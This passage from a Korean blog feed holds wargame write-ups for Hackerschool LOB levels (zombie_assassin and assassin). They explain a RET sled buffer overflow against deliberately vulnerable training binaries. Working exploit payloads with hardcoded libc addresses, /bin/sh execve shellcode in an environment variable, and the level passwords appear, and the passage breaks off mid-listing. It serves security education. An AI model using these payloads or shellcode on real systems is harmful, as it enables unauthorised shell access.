&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;253&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXIp2A/btsE7tVx1eD/J4KZwinaKm18Y7JRIsc22k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXIp2A/btsE7tVx1eD/J4KZwinaKm18Y7JRIsc22k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXIp2A/btsE7tVx1eD/J4KZwinaKm18Y7JRIsc22k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXIp2A%2FbtsE7tVx1eD%2FJ4KZwinaKm18Y7JRIsc22k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;253&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;253&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708401787035&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ldd zombie_assassin

nm /lib/libc.so.6 | grep system

strings -tx /lib/libc.so.6 | grep /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그 다음 sysetm() 함수와 &quot;/bin/sh&quot; 문자열의 주소를 공유 라이브러리에서 찾으면 각각 0x40058ae0과 0x400fbff9이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WLy8n/btsE9EWAPmb/kjnselTNbecLDXzpJqRh6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WLy8n/btsE9EWAPmb/kjnselTNbecLDXzpJqRh6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WLy8n/btsE9EWAPmb/kjnselTNbecLDXzpJqRh6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWLy8n%2FbtsE9EWAPmb%2FkjnselTNbecLDXzpJqRh6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1365&quot; height=&quot;125&quot; data-origin-width=&quot;1365&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708402314967&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./zombie_assassin `python -c 'print &quot;\xe0\x8a\x05\x40&quot; + &quot;aaaa&quot; + &quot;\xf9\xbf\x0f\x40&quot; + &quot;b&quot; * 28 + &quot;\x4c\xfc\xff\xbf&quot; + &quot;\xdf\x84\x04\x08&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 구한 정보들을 이용해 payload를 구성한 후 공격하면 성공적으로 zombie_assassin의 password인 no place to hide를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/494</guid>
      <comments>https://sean.tistory.com/494#entry494comment</comments>
      <pubDate>Tue, 20 Feb 2024 12:42:32 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL15 (giant -&amp;gt; assassin) : no stack, no RTL(RET 가젯으로 esp를 조작하는 RET sled 기법, 환경 변수 이용 및 getenv, getenvaddr 이용)</title>
      <link>https://sean.tistory.com/493</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : giant&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;password : one&amp;nbsp;step&amp;nbsp;closer&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bclO2h/btsEZo2GBAm/LRMWnGX11oiBCnrK5pADqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bclO2h/btsEZo2GBAm/LRMWnGX11oiBCnrK5pADqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bclO2h/btsEZo2GBAm/LRMWnGX11oiBCnrK5pADqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbclO2h%2FbtsEZo2GBAm%2FLRMWnGX11oiBCnrK5pADqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;73&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708341275879&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf(&quot;stack retbayed you!\n&quot;);
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf(&quot;library retbayed you, too!!\n&quot;);
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf(&quot;%s\n&quot;, buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;있어야&amp;nbsp;한다.&lt;br /&gt;2. RET 부분에 덮어쓰는 값이 0xbf로 시작하면 안되므로 스택 공간을 이용할 수 없다.&lt;br /&gt;3. 공유 라이브러리 공간인 0x40으로 시작하는 주소도 안되므로 RTL 기법을 이용할 수 없다.&lt;br /&gt;4.&amp;nbsp;buffer와&amp;nbsp;SFP&amp;nbsp;부분을&amp;nbsp;초기화&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제에서는 RET 부분에 덮어쓰는 주소값이 0xbf 또는 0x40으로 시작하면 안되므로 스택 공간과 RTL 기법을 이용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 126px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;낮은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;&amp;nbsp;kernel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;bss&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;heap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;libc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;stack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;높은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;프로세스&amp;nbsp;메모리&amp;nbsp;구조를&amp;nbsp;보면&amp;nbsp;스택&amp;nbsp;영역과&amp;nbsp;공유&amp;nbsp;라이브러리&amp;nbsp;영역을&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;것이므로&amp;nbsp;텍스트(코드)&amp;nbsp;영역을&amp;nbsp;이용한다.&lt;br /&gt;&lt;br /&gt;여기서 사용할 기법은 RET Sled 라는 기법인데, 이 기법은 RET 부분에 ret 가젯을 연속적으로 삽입하여 esp를 조작하는 기법으로, ret 가젯으로 esp를 조작할 수 있는 이유는 ret 명령은 내부적으로 pop eip; jmp eip와 같은 동작을 수행하는데, 이때 pop 명령은 esp가 가리키는 곳에서 4byte 값을 가져와 인자에 해당하는 곳에 넣는 것과 동시에 esp가 가리키는 주소에 4를 더하여 esp를 이동시키기 때문이다.&lt;br /&gt;&lt;br /&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;가젯이란 ROP 기법에서 자주 쓰이는 것인데, 원래 의미는 코드 조각을 지칭하지만, ret로 끝나는 연속된 명령어를 뜻하기도 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이해하기 쉽게 ret 가젯은 ret 명령어 조각이라고 이해하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4HBt2/btsE6QiSRAk/tpxhW1fEvHEAqeoDfo1zD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4HBt2/btsE6QiSRAk/tpxhW1fEvHEAqeoDfo1zD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4HBt2/btsE6QiSRAk/tpxhW1fEvHEAqeoDfo1zD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4HBt2%2FbtsE6QiSRAk%2FtpxhW1fEvHEAqeoDfo1zD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;128&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수의 공간으로 40byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;RET sled 기법을 이용해 RET 부분에 ret 가젯(코드 조각)의 주소를 덮어쓴다면, esp가 RET 부분을 가리키는 상태에서 ret 명령이 실행되면 pop eip에 의해 esp가 가리키는 곳에서 4byte 값을 가져와 eip에 담는데, 이때 4byte 값은 ret 가젯의 주소이므로 eip에는 ret 명령이 있는 주소가 담기게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 jmp eip에 의해 다시 ret 가젯이 있는 주소로 간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 esp는 4가 더해져 이동됐기 때문에 RET 부분이 아닌 RET 부분 + 4 주소에 해당하는 위치에 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;대문자 RET라고 적은 것은 스택 공간의 RET 부분을 지칭하는 것이고, 소문자 ret 라고 적은 것은 코드 영역의 어셈블리 명령어를 지칭하는 의미로 적었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708342472394&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[dummy 값 * 44] + [ret 가젯의 주소] + [system 함수의 주소] + [system 함수의 RET 부분] + [&quot;/bin/sh&quot; 문자열의 주]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;RET sled 기법을 이용하여 payload를 구성하면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvtpfc/btsEZAaUM5o/YoWORkHiLbFOKxSopYzQ2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvtpfc/btsEZAaUM5o/YoWORkHiLbFOKxSopYzQ2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvtpfc/btsEZAaUM5o/YoWORkHiLbFOKxSopYzQ2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbvtpfc%2FbtsEZAaUM5o%2FYoWORkHiLbFOKxSopYzQ2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;54&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;35&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rQq1r/btsE0giSGKF/L3TgayGAHkCjCQxIHTvSDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rQq1r/btsE0giSGKF/L3TgayGAHkCjCQxIHTvSDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rQq1r/btsE0giSGKF/L3TgayGAHkCjCQxIHTvSDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrQq1r%2FbtsE0giSGKF%2FL3TgayGAHkCjCQxIHTvSDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;35&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;35&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708342584582&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gdb -q assassin
set disassembly-flavor intel
disas main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저, ret 가젯의 주소는 gdb를 이용해 구할 수 있는데, ret 가젯의 주소는 0x0804851e이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6GMAg/btsE6PqJmDO/e5LD9A2cA7Nk4CsrVlalq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6GMAg/btsE6PqJmDO/e5LD9A2cA7Nk4CsrVlalq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6GMAg/btsE6PqJmDO/e5LD9A2cA7Nk4CsrVlalq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6GMAg%2FbtsE6PqJmDO%2Fe5LD9A2cA7Nk4CsrVlalq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;127&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708343306895&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ldd assassin

nm /lib/libc.so.6 | grep system&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 system 함수의 주소는 공유 라이브러리에서 찾을 수 있는데, libc의 base 주소 0x40018000에 system 함수의 offset 주소 0x40ae0을 더하면 system() 함수의 실제 주소는 0x40058ae0이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;또 다른 방법은 assassin 파일을 다른 이름으로 복사한 후 gdb로 열고 실행시켜 프로세스화 한 후 print 명령을 이용해 system() 함수의 주소를 얻어내는 방법도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sz3e0/btsE42KS2H4/vCsalot2sGVVJdOuxVjeOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sz3e0/btsE42KS2H4/vCsalot2sGVVJdOuxVjeOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sz3e0/btsE42KS2H4/vCsalot2sGVVJdOuxVjeOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSz3e0%2FbtsE42KS2H4%2FvCsalot2sGVVJdOuxVjeOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;127&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708343328647&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;strings -tx /lib/libc.so.6 | grep /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;마지막으로 &quot;/bin/sh&quot; 문자열의 주소 역시 공유 라이브러리에서 offset 값을 구해 공유 라이브러리 base 주소에 더하면 0x400fbff9이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1104&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EZqGd/btsE7p6pAhT/110EpVeiQf3lm90oBD9tZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EZqGd/btsE7p6pAhT/110EpVeiQf3lm90oBD9tZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EZqGd/btsE7p6pAhT/110EpVeiQf3lm90oBD9tZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEZqGd%2FbtsE7p6pAhT%2F110EpVeiQf3lm90oBD9tZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1104&quot; height=&quot;128&quot; data-origin-width=&quot;1104&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708343350028&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./assassin `python -c 'print &quot;a&quot; * 44 + &quot;\x1e\x85\x04\x08&quot; + &quot;\xe0\x8a\x05\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot;'`

id

my-pass&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 위에서 얻은 정보들을 가지고 payload 구성에 맞게 넣은 다음 assassin 파일에 인자로 주어 실행하면 assassin의 password인 pushing me away를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경 변수 이용하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서는 system() 함수의 주소를 구해 system() 함수가 실행되며 쉘이 실행되도록 했지만, 굳이 다른 함수를 실행하지 않고 환경 변수에 쉘코드를 입력하여 쉘을 띄울 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ret 가젯을 이용하는 것 똑같지만 RET 부분 + 4의 주소에 system() 함수의 주소가 아닌 환경 변수의 주소를 넣는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Iv0CM/btsEZQreLms/G06Pig2xEfbGRxoKMvzA90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Iv0CM/btsEZQreLms/G06Pig2xEfbGRxoKMvzA90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Iv0CM/btsEZQreLms/G06Pig2xEfbGRxoKMvzA90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIv0CM%2FbtsEZQreLms%2FG06Pig2xEfbGRxoKMvzA90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;73&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708386333493&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export shellcode=`printf &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;`

echo $shellcode&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 셸코드를 환경 변수에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708386528403&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi getenv.c&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1708386517422&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

